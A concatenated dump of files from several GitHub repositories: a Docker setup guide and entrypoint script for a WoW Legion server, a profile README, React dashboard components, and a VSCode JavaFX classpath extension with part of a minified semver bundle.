#### Generate vmaps
```
/opt/legion/bin/vmap4extractor
mkdir vmaps
/opt/legion/bin/vmap4assembler
```
**Note:** If the process of vmap4extractor is interrupted make sure to delete the Buildings folder before rerunning the command
#### Generate mmaps
```
/opt/legion/bin/mmaps_generator
```
*Note:* This will take a long time to generate
#### Add the Generated Data to the Docker Image
Extract the data from the image with `docker cp`
`docker cp <containerId>:/[data-file] [host-path]`
The relevant folders that need to be save are `cameras`, `dbc`, `gt`, `maps`, `mmaps` and `vmaps`.
The data has to be placed inside the data folder in the following way
```
data/dbc
data/maps
data/mmaps
data/vmaps
data/cameras
data/gt
```
All resources will be added as a local docker volume to the container once its up and running.
**Note:** The image expects the data to be fully unpacked. If you packaged your resources in any way make sure to unpack them.
#### Source
Server source:
https://github.com/AshamaneProject/AshamaneCore/releases/tag/ADB_735.10
Database source:
https://github.com/AshamaneProject/AshamaneCore/releases/tag/ADB_735.10
#### Misc
The server service keeps `stdin_open` open and allocates a pseudo `tty` for the server process startup successfully. The reason for this is that the server process provides a cli for sending commands to the server. If this cli cannot be started the whole process fails. Not allocating a `tty` and keeping `stdin_open` prevents the process from launching that cli.
## Test
To do basic tests of the structure of the container use the `docker-compose.test.yml` file.
`docker-compose -f docker-compose.test.yml up`
For more info see [container-test](https://github.com/RagedUnicorn/docker-container-test).
Tests can also be run by category such as metadata tests by starting single services in `docker-compose.test.yml`
```
# metadata tests
docker-compose -f docker-compose.test.yml up container-test-metadata
```
The same tests are also available for the development image.
```
# metadata tests
docker-compose -f docker-compose.test.yml up container-dev-test-metadata
```
## Know Issues
#### Make Fails to Link
If make is successful in building the server but fails at the linker step it is highly likely that you encountered a not enoug virtual memory error.
Adding NVERVOSE=1 to the make command can give you more information about the exact error. Usually in this case the error will be 254
```
RUN \
cmake ../ -DCMAKE_INSTALL_PREFIX="${WOW_INSTALL}" -DTOOLS="${DTOOLS}" && \
make NVERBOSE=1 && \
make install
```
Restarting docker or even the whole machine/server can help circumvent this issue.
#### Data Folder is Empty Inside Running Container
If the data folder inside the running container is empty even though the client data is placed correctly there might be an issue with sharing the folder itself. For Windows see [Volume-Sharing](./doc/VOLUME_SHARING.md) for an example on how volumes can be shared if this is blocked by a Firewall.
#### Can't Connect to the Server
There are a lot of reasons why the connection to the server might not work.
###### Localhost vs 127.0.0.1
When updating the configuration inside `WTF\Config.wtf` make sure to use an actual ip-address and not localhost for the `portal` entry.
```
SET portal "127.0.0.1"
```
###### Check bnetserver.conf
Verify that bnetserver.conf has the correct ip-address configured as external access.
```
cat /opt/legion/etc/bnetserver.conf | more
```
Search for `LoginREST.ExternalAddress` and check if this matches the expected value. If not make sure to update the template file(`bnetserver.conf.tpl`) and not the actual configuration then restart the server. During the startup the configuration will be recreated and thus overwrite any changes made to that file.
###### Check realmlist
Verify that the realmlist table is configured properly.
```
# connect to mysql from within the wow container
mysql -uapp -p -hwow-legion-database
mysql> USE auth;
mysql> SELECT * FROM realmlist;
```
The entry for the `ragedunicorn` realm should have the same ip-adress configured as the entry in `bnetserver.conf`
**Note:** The server is initialized based on the following file:
```
/home/wow/server/sql/base/auth_database.sql.tpl
```
Both `${realm_name}` and `${public_ip}` are replaced with actual values.
## Links
Ubuntu packages database
- http://packages.ubuntu.com/
## License
Copyright (C) 2019 Michael Wiesendanger
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
```
docker-entrypoint.sh
```#!/bin/bash
# @author Michael Wiesendanger <michael.wiesendanger@gmail.com>
# @description launch script for wow_legion_server
set -euo pipefail
WD="${PWD}"
# get secrets from database container
mysql_app_user="/run/secrets/com.ragedunicorn.mysql.app_user"
mysql_app_password="/run/secrets/com.ragedunicorn.mysql.app_user_password"
database_hostname="${DATABASE_HOSTNAME:?localhost}"
public_ip="${PUBLIC_IP:?Missing environment variable PUBLIC_IP}"
database_port="3306"
function check_mysql_status {
i=0
while ! nc "${database_hostname}" "${database_port}" >/dev/null 2>&1; do
i=$((i + 1))
if [ "${i}" -ge 50 ]; then
echo "$(date) [ERROR]: Mysql-Service not reachable aborting..."
exit 1
fi
echo "$(date) [INFO]: Waiting for TCP connection to ${database_hostname}:${database_port}..."
sleep 5
done
echo "$(date) [INFO]: Mysql connection established"
}
function create_log_dir {
echo "$(date) [INFO]: Creating log directory ${WOW_LOG_DIR} and setting permissions"
mkdir -p "${WOW_LOG_DIR}"
chown -R "${WOW_USER}":"${WOW_GROUP}" "${WOW_LOG_DIR}"
}
# setup mangos database
function prepare_database {
echo "$(date) [INFO]: Launching initial database setup ..."
echo "$(date) [INFO]: Creating databases"
# create databases
mysql -u"${mysql_app_user}" -p"${mysql_app_password}" -h "${database_hostname}" < "${WOW_HOME}"/server/sql/create/create_mysql.sql
echo "$(date) [INFO]: Setup characters database"
echo "$(date) [INFO]: Prepare configured realm"
# init realm
realm_name="${REALM_NAME:?Missing environment variable REALM_NAME}"
# Update default auth_database sql that is used to create the initial realm during first startup
sed \
-e "s/\${realm_name}/${realm_name}/" \
-e "s/\${public_ip}/${public_ip}/" \
"${WOW_HOME}/server/sql/base/auth_database.sql.tpl" | tee "${WOW_HOME}/server/sql/base/auth_database.sql"
# copy sql files to binary location - they will be automatically applied on startup
cp "${WOW_HOME}"/*.sql "${WOW_INSTALL}/bin"
echo "$(date) [INFO]: Database setup done"
}
# if one of the databases is missing we assume a fresh setup
function check_database_setup {
databases=("world" "characters" "auth" "hotfixes")
for i in "${databases[@]}"; do
if ! mysql -u"${mysql_app_user}" -p"${mysql_app_password}" -h "${database_hostname}" -e "USE ${i}" > /dev/null 2>&1; then
prepare_database
break
fi
done
}
function setup_configuration {
if [ -f "${mysql_app_user}" ] && [ -f "${mysql_app_password}" ]; then
echo "$(date) [INFO]: Found docker secrets - using secrets to setup configuration"
mysql_app_user="$(cat ${mysql_app_user})"
mysql_app_password="$(cat ${mysql_app_password})"
else
echo "$(date) [INFO]: No docker secrets found - using environment variables"
mysql_app_user="${MYSQL_APP_USER:?Missing environment variable MYSQL_APP_USER}"
mysql_app_password="${MYSQL_APP_PASSWORD:?Missing environment variable MYSQL_APP_PASSWORD}"
fi
sed \
-e "s/\${wow_database_user}/${mysql_app_user}/" \
-e "s/\${wow_database_user_password}/${mysql_app_password}/" \
-e "s/\${database_hostname}/${database_hostname}/" \
"${WOW_INSTALL}/etc/worldserver.conf.tpl" | tee "${WOW_INSTALL}/etc/worldserver.conf"
sed \
-e "s/\${wow_database_user}/${mysql_app_user}/" \
-e "s/\${wow_database_user_password}/${mysql_app_password}/" \
-e "s/\${database_hostname}/${database_hostname}/" \
-e "s/\${public_ip}/${public_ip}/" \
"${WOW_INSTALL}/etc/bnetserver.conf.tpl" | tee "${WOW_INSTALL}/etc/bnetserver.conf"
echo "$(date) [INFO]: Finished setup for worldserver and bnetserver"
}
function launch_server {
echo "$(date) - Launching bnetserver"
# start realm in background
cd "${WOW_INSTALL}"/bin
exec gosu "${WOW_USER}" ./bnetserver &
echo "$(date) - Launching worldserver"
# start world in foreground preventing docker container from exiting
exec gosu "${WOW_USER}" ./worldserver
}
function init {
setup_configuration
create_log_dir
check_mysql_status
check_database_setup
launch_server
}
init
```
.env
```MYSQL_TAG_VERSION=1.1.0
WOW_LEGION_TAG_VERSION=1.0.4
CONTAINER_STRUCTURE_TEST_VERSION=1.4.0
```
|
0d1nAndl0k1/0d1nAndl0k1
|
0d1nAndl0k1/0d1nAndl0k1
README.md
```### Hi there 👋
0d1n is currently working on a discord bot and website for us L0k1 is currently working on a booru downloader
-How to reach us: 0d1nandl0k1hack3rs@gmail.com or in our discord sever
-ask us anything in the sever
-can do custom stuff
## join our discord sever
https://discord.gg/88JYyjHMkM
```
|
0escobarjosue/assignment
|
0escobarjosue/assignment
teamsBox.js
```import React from "react";
import "./teamsBox.css";
const TeamsBox = (props) => {
return (
<div className="teamsBox">
<div className="teamsBoxItem">
<div className="teamLogoDiv">
<img src={props.logo} alt="logo" className="teamLogo"></img>
</div>
<div className="teamsTextDiv">
<p className="teamsText">{props.name}</p>
</div>
</div>
</div>
);
};
export default TeamsBox;
```
ProjectGridItem.js
```import React from "react";
import "./ProjectGridItem.css";
const ProjectGridItem = (props) => {
return (
<div className="gridContainer">
<div className="gridItem">
<div className="title">
<img src={props.src} className="icon" alt="icon"></img>
<p className="titleText">{props.name}</p>
</div>
<div className="description">
<p className="descriptionText">{props.text}</p>
</div>
<div className="projectName">
<p className="projectNameLine">Science moving bricks</p>
<p className="timeSince">2 days ago</p>
</div>
</div>
</div>
);
};
export default ProjectGridItem;
```
GraphBox.js
```import React from "react";
import "./GraphBox.css";
import GraphImage from "./graph.PNG";
const GraphBox = () => {
return (
<div className="graphBox">
<div className="headerBarGraph">
<p className="headerBarGraphTexts">XX index</p>
</div>
<div className="graphImg">
<img className="imgGraph" src={GraphImage} alt="graphBoxImg"></img>
</div>
</div>
);
};
export default GraphBox;
```
NavBarHeader.js
```import React from "react";
import "./NavBarHeader.css";
const NavBarHeader = () => {
return (
<div className="navBar">
<p className="navBarText">Dashboard</p>
</div>
);
};
export default NavBarHeader;
```
teamBoxHeader.js
```import React from "react";
import "./teamBoxHeader.css";
const TeamBoxHeader = (props) => {
return (
<div className="headerContainerText">
<div className="leftText">
<p className="headerTextLeft">{props.headerName}</p>
</div>
</div>
);
};
export default TeamBoxHeader;
```
App.js
```import React from "react";
import NavBarHeader from "./Components/NavHeader/NavBarHeader";
import ProjectGridItem from "./Components/ProjectGridItems/ProjectGridItem";
import Header from "./Components/ProjectsGridHeader/GridHeader";
import GraphBox from "./Components/GraphBox/GraphBox";
import GreetingBar from "./Components/GreetingBar/GreetingBar";
import GreetingBarData from "./Components/GreetingBarData/GreetingBarData";
import GraphInfo from "./Components/GraphInfo/GraphInfo";
import DynamicEntries from "./Components/DynamicEntries/DynamicEntries";
import TeamsBox from "./Components/TeamsBox/teamsBox";
import TeamBoxHeader from "./Components/TeamsBoxHeader/teamBoxHeader";
import "./App.css";
import "./Components/GreetingBar/GreetingBar.css";
import "./Components/GraphBox/GraphBox.css";
import "./Components/GraphInfo/GraphInfo.css";
import "./Components/DynamicEntries/DynamicEntries.css";
import "./Components/TeamsBoxHeader/teamBoxHeader.css";
function App() {
return (
<div className="container">
<NavBarHeader />
<div className="GreetingBarItems">
<GreetingBar />
<div className="GreetingBarDataContainerParent">
<GreetingBarData header="Number of items" statistic="56" />
<div className="lineBreakHeader"></div>
<GreetingBarData header="Team Ranking" statistic="8" outOf="/ 24" />
<div className="lineBreakHeader"></div>
<GreetingBarData header="Project visit" statistic="2,223" />
</div>
</div>
<div className="columnOne">
<div className="projectGridContainer">
<div className="gridHeader">
<Header textLeft="Ongoing project" textRight="All items" />
<div className="GreetingBarItems" />
</div>
<div className="projectGridComponents">
<ProjectGridItem
src="https://img.icons8.com/emoji/48/000000/blue-circle-emoji.png"
name="Alipay"
text="It's an inner thing that they can't reach and can't reach."
/>
<ProjectGridItem
src="https://img.icons8.com/emoji/48/000000/red-circle-emoji.png"
name="Angular"
text="Hope is a good thing, maybe the best , good thinds will not die."
/>
<ProjectGridItem
src="https://img.icons8.com/emoji/48/000000/ant-emoji.png"
name="Ant Design"
text="There may be so many pubs in my town, but she walked into my pub."
/>
<ProjectGridItem
src="https://img.icons8.com/emoji/48/000000/black-circle-emoji.png"
name="Ant Design Pro"
text="At that time, I onlu thought about what I wanted, and I didn't want to."
/>
<ProjectGridItem
src="https://img.icons8.com/color/48/000000/bootstrap.png"
name="Bootstrap"
text="Winter is coming."
/>
<ProjectGridItem
src="https://img.icons8.com/cute-clipart/64/000000/react-native.png"
name="React"
text="Like a box of chocolates, and the results are often unexpected."
/>
</div>
</div>
<div className="dynamicContainer">
<div className="dynamicHeader">
<Header textLeft="dynamic" />
</div>
<DynamicEntries
avatar="https://img.icons8.com/color/48/000000/user.png"
name="Pay little in "
highlightOne="high force grid-day mission, the design "
action="of new projects "
highlightTwo="iteration June"
time="2 days ago"
/>
<DynamicEntries
avatar="https://img.icons8.com/color/48/000000/matrix-architect.png"
name="Lin Dongdong "
highlightOne="in the two girls group "
action="of new projects "
highlightTwo="iteration June"
time="2 days ago"
/>
<DynamicEntries
avatar="https://img.icons8.com/color/48/000000/person-female.png"
name="Stars of a week will be"
highlightOne="May iterative routine "
action="update to a published state "
time="2 days ago"
/>
<DynamicEntries
avatar="https://img.icons8.com/plasticine/100/000000/user.png"
name="Zhu-right in "
highlightOne="project performance "
action="has released "
highlightTwo="a message"
time="2 days ago"
/>
<DynamicEntries
avatar="https://img.icons8.com/doodle/48/000000/user.png"
name="Lok in "
highlightOne="programmer daily "
action="New Projects "
highlightTwo="brand iteration"
time="2 days ago"
/>
</div>
</div>
<div className="columnTwo">
<div className="GraphBoxContainer">
<GraphBox />
<div className="graphInfoBoxes">
<GraphInfo
src="https://img.icons8.com/emoji/48/000000/blue-circle-emoji.png"
heading="personal"
qty="34"
/>
<div className="lineBreak"></div>
<GraphInfo
src="https://img.icons8.com/emoji/48/000000/green-circle-emoji.png"
heading="team"
qty="22"
/>
<div className="lineBreak"></div>
<GraphInfo
src="https://img.icons8.com/emoji/48/000000/yellow-circle-emoji.png"
heading="department"
qty="23"
/>
</div>
</div>
<div className="teamsBoxFullContainer">
<div className="teamsBoxContainerHeader">
<TeamBoxHeader headerName="teams" />
</div>
<div className="teamsBoxContainer">
<TeamsBox
logo="https://img.icons8.com/emoji/48/000000/blue-circle-emoji.png"
name="Scientific movi..."
/>
<TeamsBox
logo="https://img.icons8.com/emoji/48/000000/blue-circle-emoji.png"
name="Wu Yanzu"
/>
<TeamsBox
logo="https://img.icons8.com/emoji/48/000000/blue-circle-emoji.png"
name="Secondary 2 G..."
/>
<TeamsBox
logo="https://img.icons8.com/emoji/48/000000/blue-circle-emoji.png"
name="Programmer e..."
/>
<TeamsBox
logo="https://img.icons8.com/emoji/48/000000/blue-circle-emoji.png"
name="High-force des..."
/>
<TeamsBox
logo="https://img.icons8.com/emoji/48/000000/blue-circle-emoji.png"
name="Lie to learn co..."
/>
</div>
</div>
</div>
</div>
);
}
export default App;
```
GreetingBar.js
```import React from "react";
import "./GreetingBar.css";
const GreetingBar = () => {
return (
<div className="GreetingBarcontainer">
<div className="breadCrums">
<p className="breadCrumsText">
{" "}
<span className="inactive">Home / Dashboard /</span>{" "}
<span className="active">Workplace</span>
</p>
</div>
<div className="greetingArea">
<div className="avatarImgDiv">
<img
className="avatarImg"
src="https://img.icons8.com/officel/80/000000/user.png"
alt="avatar"
/>
</div>
<div className="greetingTitleBlock">
<p className="greetingText">
Good morning, Serati Ma , I wish you happiness every day!
</p>
<p className="jobTitle">
Interaction expert | Ant gold service-some certain business group-a
certain plarform department-a certain technical department-UED
</p>
</div>
</div>
</div>
);
};
export default GreetingBar;
```
GreetingBarData.js
```import React from "react";
import "./GreetingBarData.css";
const GreetingBarData = (props) => {
return (
<div className="GreetingBarDataContainer">
<div className="dataBox">
<p className="headerText">{props.header}</p>
<p className="statistic">
{props.statistic} <span className="outOf">{props.outOf}</span>
</p>
</div>
</div>
);
};
export default GreetingBarData;
```
DynamicEntries.js
```import React from "react";
import "./DynamicEntries.css";
const DynamicEntries = (props) => {
return (
<div className="dynamicBar">
<div className="userPhoto">
<img src={props.avatar} alt="avatar" className="imgAvatar"></img>
</div>
<div className="entryDiv">
<p className="entryText">
{props.name}
<span className="highlight">{props.highlightOne}</span>
{props.action}
<span className="highlight">{props.highlightTwo}</span>
</p>
<p className="timeSinceText">{props.time}</p>
</div>
</div>
);
};
export default DynamicEntries;
```
GraphInfo.js
```import React from "react";
import "./GraphInfo.css";
const GraphInfo = (props) => {
return (
<div className="GraphInfoBox">
<div className="GraphInfoHeader">
<div className="imgDiv">
<img src={props.src} alt="blueDot" className="imgDot" />
</div>
<p className="GraphInfoHeaderText">{props.heading}</p>
</div>
<div className="GraphInfoData">
<p className="GraphInfoDataText">{props.qty}</p>
</div>
</div>
);
};
export default GraphInfo;
```
GridHeader.js
```import React from "react";
import "./GridHeader.css";
const Header = (props) => {
return (
<div className="headerContainer">
<div className="leftText">
<p className="headerTextLeft">{props.textLeft}</p>
</div>
<div className="rightText">
<p className="headerTextRight">{props.textRight}</p>
</div>
</div>
);
};
export default Header;
```
|
0keita/configs
|
0keita/configs
extension.js
```"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.deactivate = exports.activate = void 0;
const vscode = require("vscode");
const classpath_1 = require("./classpath");
// called once per VSCode session when the plugin is launched
function activate(context) {
console.log('"javafx-support" now active');
// add command to VSCode
let disposable = vscode.commands.registerCommand('javafx-support.updateClasspath', () => classpath_1.updateClasspath(true));
context.subscriptions.push(disposable);
// create file system watcher for .classpath file in project workspace
const fileWatcher = vscode.workspace.createFileSystemWatcher("**/.classpath", false, false, false);
// update config if .classpath file is created
fileWatcher.onDidCreate(() => {
console.log(".classpath file created.");
classpath_1.updateClasspath();
});
// update config if .classpath file changes
fileWatcher.onDidChange(() => {
console.log(".classpath file changed.");
classpath_1.updateClasspath();
});
// run extension logic
classpath_1.updateClasspath();
}
exports.activate = activate;
// this method is called when your extension is deactivated
function deactivate() { }
exports.deactivate = deactivate;
//# sourceMappingURL=extension.js.map```
README.md
```# JavaFX Support for VSCode
Fixes "Language Support for Java(TM) by Red Hat" when using JavaFX.
In Java 8, JavaFX is bundled along with the JDK. However, the official Java Extension Pack does not account for this, causing persistent warnings and interfering with IntelliSense:

This issue is caused by the Eclipse Language Server (JDT) that Red Hat's Java extension depends on for code completion and API documentation. One such file used by JDT is `.classpath`, which contains info necessary for project compilation, such as source folders, dependencies, and output paths. Red Hat's extension does not properly account for the bundled JavaFX API, which can be solved by adding an access rule into `.classpath` as shown below:
```xml
<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-1.8/">
<accessrules>
<accessrule kind="accessible" pattern="javafx/**"/>
<accessrule kind="accessible" pattern="com/sun/javafx/**"/>
</accessrules>
</classpathentry>
```
However, if this is added manually, Red Hat's extension will periodically revert this to their generated `.classpath` configuration. This happens when checking out a new Git branch, updating `pom.xml`, or if the project configuration needs to be updated for any reason.
To solve this inconvenience, `javafx-support` automatically detects changes in your project configuration and adds the above `<classpathentry>` whenever necessary.
```
main.js
```var kR=Object.create;var Eo=Object.defineProperty,qR=Object.defineProperties,OR=Object.getOwnPropertyDescriptor,AR=Object.getOwnPropertyDescriptors,FR=Object.getOwnPropertyNames,sa=Object.getOwnPropertySymbols,IR=Object.getPrototypeOf,Yc=Object.prototype.hasOwnProperty,af=Object.prototype.propertyIsEnumerable;var cf=(r,e,t)=>e in r?Eo(r,e,{enumerable:!0,configurable:!0,writable:!0,value:t}):r[e]=t,Xn=(r,e)=>{for(var t in e||(e={}))Yc.call(e,t)&&cf(r,t,e[t]);if(sa)for(var t of sa(e))af.call(e,t)&&cf(r,t,e[t]);return r},uf=(r,e)=>qR(r,AR(e)),lf=r=>Eo(r,"__esModule",{value:!0});var df=(r,e)=>{var t={};for(var n in r)Yc.call(r,n)&&e.indexOf(n)<0&&(t[n]=r[n]);if(r!=null&&sa)for(var n of sa(r))e.indexOf(n)<0&&af.call(r,n)&&(t[n]=r[n]);return t};var xo=(r,e)=>()=>(r&&(e=r(r=0)),e);var F=(r,e)=>()=>(e||r((e={exports:{}}).exports,e),e.exports),ff=(r,e)=>{lf(r);for(var t in e)Eo(r,t,{get:e[t],enumerable:!0})},LR=(r,e,t)=>{if(e&&typeof e=="object"||typeof e=="function")for(let n of FR(e))!Yc.call(r,n)&&n!=="default"&&Eo(r,n,{get:()=>e[n],enumerable:!(t=OR(e,n))||t.enumerable});return r},oe=r=>LR(lf(Eo(r!=null?kR(IR(r)):{},"default",r&&r.__esModule&&"default"in r?{get:()=>r.default,enumerable:!0}:{value:r,enumerable:!0})),r);var hf=(r,e,t)=>{if(!e.has(r))throw TypeError("Cannot "+t)};var Le=(r,e,t)=>(hf(r,e,"read from private field"),t?t.call(r):e.get(r)),Rr=(r,e,t)=>{if(e.has(r))throw TypeError("Cannot add the same private member more than once");e instanceof WeakSet?e.add(r):e.set(r,t)},rr=(r,e,t,n)=>(hf(r,e,"write to private field"),n?n.call(r,t):e.set(r,t),t);var ko=F((B0,pf)=>{var NR="2.0.0",MR=256,jR=Number.MAX_SAFE_INTEGER||9007199254740991,$R=16;pf.exports={SEMVER_SPEC_VERSION:NR,MAX_LENGTH:MR,MAX_SAFE_INTEGER:jR,MAX_SAFE_COMPONENT_LENGTH:$R}});var qo=F((U0,gf)=>{var WR=typeof process=="object"&&process.env&&process.env.NODE_DEBUG&&/\bsemver\b/i.test(process.env.NODE_DEBUG)?(...r)=>console.error("SEMVER",...r):()=>{};gf.exports=WR});var Qn=F((Fn,mf)=>{var{MAX_SAFE_COMPONENT_LENGTH:Xc}=ko(),HR=qo();Fn=mf.exports={};var zR=Fn.re=[],Z=Fn.src=[],ee=Fn.t={},BR=0,me=(r,e,t)=>{let n=BR++;HR(n,e),ee[r]=n,Z[n]=e,zR[n]=new RegExp(e,t?"g":void 0)};me("NUMERICIDENTIFIER","0|[1-9]\\d*");me("NUMERICIDENTIFIERLOOSE","[0-9]+");me("NONNUMERICIDENTIFIER","\\d*[a-zA-Z-][a-zA-Z0-9-]*");me("MAINVERSION",`(${Z[ee.NUMERICIDENTIFIER]})\\.(${Z[ee.NUMERICIDENTIFIER]})\\.(${Z[ee.NUMERICIDENTIFIER]})`);me("MAINVERSIONLOOSE",`(${Z[ee.NUMERICIDENTIFIERLOOSE]})\\.(${Z[ee.NUMERICIDENTIFIERLOOSE]})\\.(${Z[ee.NUMERICIDENTIFIERLOOSE]})`);me("PRERELEASEIDENTIFIER",`(?:${Z[ee.NUMERICIDENTIFIER]}|${Z[ee.NONNUMERICIDENTIFIER]})`);me("PRERELEASEIDENTIFIERLOOSE",`(?:${Z[ee.NUMERICIDENTIFIERLOOSE]}|${Z[ee.NONNUMERICIDENTIFIER]})`);me("PRERELEASE",`(?:-(${Z[ee.PRERELEASEIDENTIFIER]}(?:\\.${Z[ee.PRERELEASEIDENTIFIER]})*))`);me("PRERELEASELOOSE",`(?:-?(${Z[ee.PRERELEASEIDENTIFIERLOOSE]}(?:\\.${Z[ee.PRERELEASEIDENTIFIERLOOSE]})*))`);me("BUILDIDENTIFIER","[0-9A-Za-z-]+");me("BUILD",`(?:\\+(${Z[ee.BUILDIDENTIFIER]}(?:\\.${Z[ee.BUILDIDENTIFIER]})*))`);me("FULLPLAIN",`v?${Z[ee.MAINVERSION]}${Z[ee.PRERELEASE]}?${Z[ee.BUILD]}?`);me("FULL",`^${Z[ee.FULLPLAIN]}$`);me("LOOSEPLAIN",`[v=\\s]*${Z[ee.MAINVERSIONLOOSE]}${Z[ee.PRERELEASELOOSE]}?${Z[ee.BUILD]}?`);me("LOOSE",`^${Z[ee.LOOSEPLAIN]}$`);me("GTLT","((?:<|>)?=?)");me("XRANGEIDENTIFIERLOOSE",`${Z[ee.NUMERICIDENTIFIERLOOSE]}|x|X|\\*`);me("XRANGEIDENTIFIER",`${Z[ee.NUMERICIDENTIFIER]}|x|X|\\*`);me("XRANGEPLAIN",`[v=\\s]*(${Z[ee.XRANGEIDENTIFIER]})(?:\\.(${Z[ee.XRANGEIDENTIFIER]})(?:\\.(${Z[ee.XRANGEIDENTIFIER]})(?:${Z[ee.PRERELEASE]})?${Z[ee.BUILD]}?)?)?`);me("XRANGEPLAINLOOSE",`[v=\\s]*(${Z[ee.XRANGEIDENTIFIERLOOSE]})(?:\\.(${Z[ee.XRANGEIDENTIFIERLOOSE]})(?:\\.(${Z[ee.XRANGEIDENTIFIERLOOSE]})(?:${Z[ee.PRERELEASELOOSE]})?${Z[ee.BUILD]}?)?)?`);me("XRANGE",`^${Z[ee.GTLT]}\\s*${Z[ee.XRANGEPLAIN]}$`);me("XRANGELOOSE",`^${Z[ee.GTLT]}\\s*${Z[ee.XRANGEPLAINLOOSE]}$`);me("COERCE",`(^|[^\\d])(\\d{1,${Xc}})(?:\\.(\\d{1,${Xc}}))?(?:\\.(\\d{1,${Xc}}))?(?:$|[^\\d])`);me("COERCERTL",Z[ee.COERCE],!0);me("LONETILDE","(?:~>?)");me("TILDETRIM",`(\\s*)${Z[ee.LONETILDE]}\\s+`,!0);Fn.tildeTrimReplace="$1~";me("TILDE",`^${Z[ee.LONETILDE]}${Z[ee.XRANGEPLAIN]}$`);me("TILDELOOSE",`^${Z[ee.LONETILDE]}${Z[ee.XRANGEPLAINLOOSE]}$`);me("LONECARET","(?:\\^)");me("CARETTRIM",`(\\s*)${Z[ee.LONECARET]}\\s+`,!0);Fn.caretTrimReplace="$1^";me("CARET",`^${Z[ee.LONECARET]}${Z[ee.XRANGEPLAIN]}$`);me("CARETLOOSE",`^${Z[ee.LONECARET]}${Z[ee.XRANGEPLAINLOOSE]}$`);me("COMPARATORLOOSE",`^${Z[ee.GTLT]}\\s*(${Z[ee.LOOSEPLAIN]})$|^$`);me("COMPARATOR",`^${Z[ee.GTLT]}\\s*(${Z[ee.FULLPLAIN]})$|^$`);me("COMPARATORTRIM",`(\\s*)${Z[ee.GTLT]}\\s*(${Z[ee.LOOSEPLAIN]}|${Z[ee.XRANGEPLAIN]})`,!0);Fn.comparatorTrimReplace="$1$2$3";me("HYPHENRANGE",`^\\s*(${Z[ee.XRANGEPLAIN]})\\s+-\\s+(${Z[ee.XRANGEPLAIN]})\\s*$`);me("HYPHENRANGELOOSE",`^\\s*(${Z[ee.XRANGEPLAINLOOSE]})\\s+-\\s+(${Z[ee.XRANGEPLAINLOOSE]})\\s*$`);me("STAR","(<|>)?=?\\s*\\*");me("GTE0","^\\s*>=\\s*0.0.0\\s*$");me("GTE0PRE","^\\s*>=\\s*0.0.0-0\\s*$")});var Oo=F((K0,vf)=>{var UR=["includePrerelease","loose","rtl"],KR=r=>r?typeof r!="object"?{loose:!0}:UR.filter(e=>r[e]).reduce((e,t)=>(e[t]=!0,e),{}):{};vf.exports=KR});var aa=F((G0,wf)=>{var yf=/^[0-9]+$/,bf=(r,e)=>{let t=yf.test(r),n=yf.test(e);return t&&n&&(r=+r,e=+e),r===e?0:t&&!n?-1:n&&!t?1:r<e?-1:1},GR=(r,e)=>bf(e,r);wf.exports={compareIdentifiers:bf,rcompareIdentifiers:GR}});var It=F((V0,Sf)=>{var ca=qo(),{MAX_LENGTH:Cf,MAX_SAFE_INTEGER:ua}=ko(),{re:Rf,t:_f}=Qn(),VR=Oo(),{compareIdentifiers:Ao}=aa(),_r=class{constructor(e,t){if(t=VR(t),e instanceof _r){if(e.loose===!!t.loose&&e.includePrerelease===!!t.includePrerelease)return e;e=e.version}else if(typeof e!="string")throw new TypeError(`Invalid Version: ${e}`);if(e.length>Cf)throw new TypeError(`version is longer than ${Cf} characters`);ca("SemVer",e,t),this.options=t,this.loose=!!t.loose,this.includePrerelease=!!t.includePrerelease;let n=e.trim().match(t.loose?Rf[_f.LOOSE]:Rf[_f.FULL]);if(!n)throw new TypeError(`Invalid Version: ${e}`);if(this.raw=e,this.major=+n[1],this.minor=+n[2],this.patch=+n[3],this.major>ua||this.major<0)throw new TypeError("Invalid major version");if(this.minor>ua||this.minor<0)throw new TypeError("Invalid minor version");if(this.patch>ua||this.patch<0)throw new TypeError("Invalid patch version");n[4]?this.prerelease=n[4].split(".").map(i=>{if(/^[0-9]+$/.test(i)){let s=+i;if(s>=0&&s<ua)return s}return i}):this.prerelease=[],this.build=n[5]?n[5].split("."):[],this.format()}format(){return this.version=`${this.major}.${this.minor}.${this.patch}`,this.prerelease.length&&(this.version+=`-${this.prerelease.join(".")}`),this.version}toString(){return this.version}compare(e){if(ca("SemVer.compare",this.version,this.options,e),!(e instanceof _r)){if(typeof e=="string"&&e===this.version)return 0;e=new _r(e,this.options)}return e.version===this.version?0:this.compareMain(e)||this.comparePre(e)}compareMain(e){return e instanceof _r||(e=new _r(e,this.options)),Ao(this.major,e.major)||Ao(this.minor,e.minor)||Ao(this.patch,e.patch)}comparePre(e){if(e instanceof _r||(e=new _r(e,this.options)),this.prerelease.length&&!e.prerelease.length)return-1;if(!this.prerelease.length&&e.prerelease.length)return 1;if(!this.prerelease.length&&!e.prerelease.length)return 0;let t=0;do{let n=this.prerelease[t],i=e.prerelease[t];if(ca("prerelease compare",t,n,i),n===void 0&&i===void 0)return 0;if(i===void 0)return 1;if(n===void 0)return-1;if(n===i)continue;return Ao(n,i)}while(++t)}compareBuild(e){e instanceof _r||(e=new _r(e,this.options));let t=0;do{let n=this.build[t],i=e.build[t];if(ca("prerelease compare",t,n,i),n===void 0&&i===void 0)return 0;if(i===void 0)return 1;if(n===void 0)return-1;if(n===i)continue;return 